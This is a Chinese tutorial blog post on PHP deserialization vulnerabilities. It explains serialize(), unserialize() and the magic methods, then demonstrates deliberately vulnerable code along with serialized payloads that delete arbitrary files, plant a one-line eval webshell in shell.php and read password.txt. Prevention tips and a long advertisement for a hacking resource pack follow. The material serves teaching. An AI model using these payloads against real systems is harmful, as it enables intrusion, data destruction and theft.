一、啥是序列化和反序列化?这俩兄弟你分清了吗?
简单来说,序列化就是把你的“宝贝”(对象)打包成字符串,方便存储和传输,就像把乐高玩具拆成零件装箱一样。而反序列化呢,就是把这个“箱子”打开,把零件重新组装成原来的“宝贝”(对象),让程序能继续用。在 PHP 里,这两个过程分别由 serialize()
和 unserialize()
函数负责。
二、反序列化漏洞:让你的代码“原地爆炸”!
想象一下,你在组装乐高玩具的时候,突然发现里面混进了一些“定时炸弹”零件!这就是反序列化漏洞的威力。程序在反序列化的时候,会“自动”调用一些特殊函数(比如 __wakeup()
、__destruct()
),如果这些函数的参数可以被用户控制,攻击者就能往里面塞入恶意代码,搞事情!
三、serialize()
:把对象变成“字符串”的魔法
当你用 PHP 创建了一个对象后,serialize()
就能把它变成一串字符串,方便你保存和传递。
来,看个例子:
<?php
class Stu{
public $name = 'aa';
public $age = 18;
public function demo(){
echo "你好啊";
}
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
}
?>
跑一下,看看效果:
四、unserialize()
:让“字符串”重获新生!
unserialize()
的作用,就是把序列化后的字符串“复原”成对象,让程序能继续使用。
再来一段代码:
<?php
//定义一个Stu类
class Stu
{
//定义成员属性
public $name = 'aa';
public $age = 19;
//定义成员方法
public function demo()
{
echo '你吃了吗';
}
}
//实例化对象
$stu = new Stu();
//进行序列化
$stus = serialize($stu);
print_r($stus);
echo "<br><pre>";
//进行反序列化
print_r(unserialize($stus));
?>
运行结果:
五、PHP 魔术方法:自带“特效”的函数!
魔术方法是 PHP 面向对象编程的特色,它们在特定情况下会被“自动”触发,就像自带 BGM 一样!这些方法都以双下划线开头,利用它们可以实现一些高级功能,比如动态创建类属性和方法。但是,问题也往往出现在这些“特效”里!
六、常见的魔术方法,你认识几个?
__construct()
:构造函数,对象一出生(创建)就自动调用。__destruct()
:析构函数,对象“寿终正寝”(销毁)时自动调用。__wakeup()
:反序列化时,如果类里有这个函数,就会优先调用它,用来初始化对象。__toString()
:当对象被当成字符串使用时(比如echo $obj
),就会调用它。__sleep()
:对象被序列化时调用,可以用来指定哪些属性需要保存。
七、魔术方法“秀”起来,小心玩脱了!
来,上代码:
<?php
class Stu
{
public $name = 'aa';
public $age = 18;
function __construct()
{
echo '对象被创建了__consrtuct()';
}
function __wakeup()
{
echo '执行了反序列化__wakeup()';
}
function __toString()
{
echo '对象被当做字符串输出__toString';
return 'asdsadsad';
}
function __sleep()
{
echo '执行了序列化__sleep';
return array('name','age');
}
function __destruct()
{
echo '对象被销毁了__destruct()';
}
}
$stu = new Stu();
echo "<pre>";
//序列化
$stu_ser = serialize($stu);
print_r($stu_ser);
//当成字符串输出
echo "$stu";
//反序列化
$stu_unser = unserialize($stu_ser);
print_r($stu_unser);
?>
看看运行结果:
八、反序列化漏洞:攻击的“甜蜜点”!
由于 unserialize()
会自动调用 __wakeup()
、__destruct()
等函数,如果这些函数里藏着漏洞或者恶意代码,攻击者就可以通过控制序列化的字符串来触发它们,实现攻击!
1. __destruct()
:不小心就删库跑路了!
假设一个网站的 logfile.php
文件里用了 unserialize()
来反序列化用户输入,正常情况下是用来重建 Stu
对象的。
测试代码:
<?php
header("content-type:text/html;charset=utf-8");
//引用了logfile.php文件
include './logfile.php';
//定义一个类
class Stu
{
public $name = 'aa';
public $age = 19;
function StuData()
{
echo '姓名:'.$this->name.'<br>';
echo '年龄:'.$this->age;
}
}
//实例化对象
$stu = new Stu();
//重构用户输入的数据
$newstu = unserialize($_GET['stu']);
//O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
echo "<pre>";
var_dump($newstu) ;
?>
logfile.php
代码:
<?php
class LogFile
{
//日志文件名
public $filename = 'error.log';
//存储日志文件
function LogData($text)
{
//输出需要存储的内容
echo 'log some data:'.$text.'<br>';
file_put_contents($this->filename, $text,FILE_APPEND);
}
//删除日志文件
function __destruct()
{
//输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
//绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
正常输入参数:O:3:"Stu":2:{s:4:"name";s:2:"aa";s:3:"age";i:20;}
但是,如果攻击者构造一个 LogFile
对象,并修改 filename
属性,就能删除任意文件!
- 正常重构:
O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";}
-
-
发现正常删除,但如果我们修改参数,让其删除其他的文件呢?
- 异常重构:
O:7:"LogFile":1:{s:8:"filename";s:10:"../ljh.php";}
-
- 执行该代码
-
2. __wakeup()
:偷偷给你埋个“后门”!
假设有段代码 index.php
:
<?php
class chybeta
{
public $test = '123';
function __wakeup()
{
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class = @$_GET['test'];
print_r($class);
echo "</br>";
$class_unser = unserialize($class);
// 为显示效果,把这个shell.php包含进来
require "shell.php";
?>
攻击者可以构造一个包含恶意代码的序列化字符串,通过 test
参数传递,__wakeup()
就会把恶意代码写入 shell.php
,留下一个后门!
传入参数:?test=O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
查看 shell.php
文件
也可以传入一句话木马:O:7:"chybeta":1:{s:4:"test";s:25:"<?php eval($_POST[1]); ?>";}
3. __toString()
:读取敏感信息,就这么简单!
如果一个类定义了 __toString()
,并且这个函数允许读取文件,攻击者就可以利用反序列化漏洞来读取敏感信息!
fileread.php
代码:
<?php
//读取文件类
class FileRead
{
public $filename = 'error.log';
function __toString()
{
return file_get_contents($this->filename);
}
}
?>
假设网站的正常页面引用了 fileread.php
,并且使用了 unserialize()
来反序列化用户输入。
测试代码:
<?php
//引用fileread.php文件
include './fileread.php';
//定义用户类
class User
{
public $name = 'aa';
public $age = 18;
function __toString()
{
return '姓名:'.$this->name.';'.'年龄:'.$this->age;
}
}
//O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
//反序列化
$obj = unserialize($_GET['user']);
//当成字符串输出触发toString
echo $obj;
?>
正常重构:O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
攻击者可以构造一个 FileRead
对象,并设置 filename
属性为敏感文件(比如 password.txt
),就可以读取文件内容!
重构:O:8:"FileRead":1:{s:8:"filename";s:12:"password.txt";}
九、反序列化漏洞:如何“避坑”?
和大多数漏洞一样,反序列化漏洞也是因为用户参数可控导致的。所以,最好的预防措施是:
- 永远不要把用户的输入或者用户可控的参数直接放进反序列化的操作中!
- 在进入反序列化函数之前,对参数进行严格的限制和过滤!
```
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************